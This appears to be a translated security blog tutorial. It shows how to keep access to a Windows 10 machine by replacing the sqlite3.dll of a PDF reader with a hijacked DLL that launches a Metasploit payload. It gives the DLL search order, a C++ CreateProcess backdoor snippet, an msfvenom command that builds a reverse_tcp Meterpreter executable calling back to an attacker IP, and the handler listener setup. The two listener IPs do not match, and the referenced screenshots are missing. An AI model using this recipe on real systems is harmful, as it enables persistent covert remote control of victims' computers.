Maintaining Access to a Windows System Through DLL Hijacking Combined with MSF

Environment

Introduction

What Is a DLL?

• A DLL (Dynamic Link Library) file is a dynamic-link library, also known as an “application extension,” and is a type of software file. In Windows, many applications are not complete executable files. They are divided into relatively independent dynamic-link libraries, or DLL files, which are placed in the system. When we execute a program, the corresponding DLL files are invoked.

DLL Load Order

Windows xp sp2之前：
1. 进程对应的应用程序所在目录；
2. 当前目录（Current Directory）；
3. 系统目录（通过 GetSystemDirectory 获取）；
4. 16位系统目录；
5. Windows目录（通过 GetWindowsDirectory 获取）；
6. PATH环境变量中的各个目录；

Windows xp sp2之后：
Windows查找DLL的目录以及对应的顺序（SafeDllSearchMode 默认会被开启）：
默认注册表为：HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode，其键值为1
1. 进程对应的应用程序所在目录（可理解为程序安装目录比如C:\ProgramFiles\uTorrent）
2. 系统目录（即%windir%system32）；
3. 16位系统目录（即%windir%system）；
4. Windows目录（即%windir%）；
5. 当前目录（运行的某个文件所在目录，比如C:\Documents and Settings\Administrator\Desktop\test）；
6. PATH环境变量中的各个目录；

win7以上版本：
系统没有了SafeDllSearchMode 而采用KnownDLLs，那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用，而只能从系统目录即SYSTEM32目录下调用，其注册表位置：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Reproduction Process

0x01 Use Process Explorer to Analyze Hijackable dll Files

• As shown above, sqlite3.dll can be hijacked.

0x02 Use aheadlib to Convert sqlite3.dll into a Cpp File

• aheadlib download address: https://github.com/Yonsm/AheadLib

0x03 Open the CPP File, Insert the Backdoor Code to Be Executed into the DLL Entry-Point Function, and Generate a New DLL File

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("E:\\hunter0x07.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, & si, & pi);

0x04 Replace the Original DLL File

• Rename the compiled DLL file to sqlite3.dll and replace the original sqlite3.dll. Rename the original sqlite3.dll to sqlite3_backup.dll (so it can be restored after the demonstration).

0x05 Start MSF on the Attacker Host to Generate a Payload

• The Payload is named hunter0x07.exe, which is the backdoor name inserted in VisualStudio earlier.

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2333 -f exe > hunter0x07.exe

• Then deliver it to the victim host. The payload path is E:\hunter0x07.exe.

0x06 Start a Listener on the Attacker Host

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.93
set lport 2333
exploit

• The win10 victim host runs Jisu PDF Reader (an error occurred during execution, possibly due to an issue when compiling the DLL file, but it did not prevent Jisu PDF Reader from loading our code).

• As shown above, access to the victim host is obtained.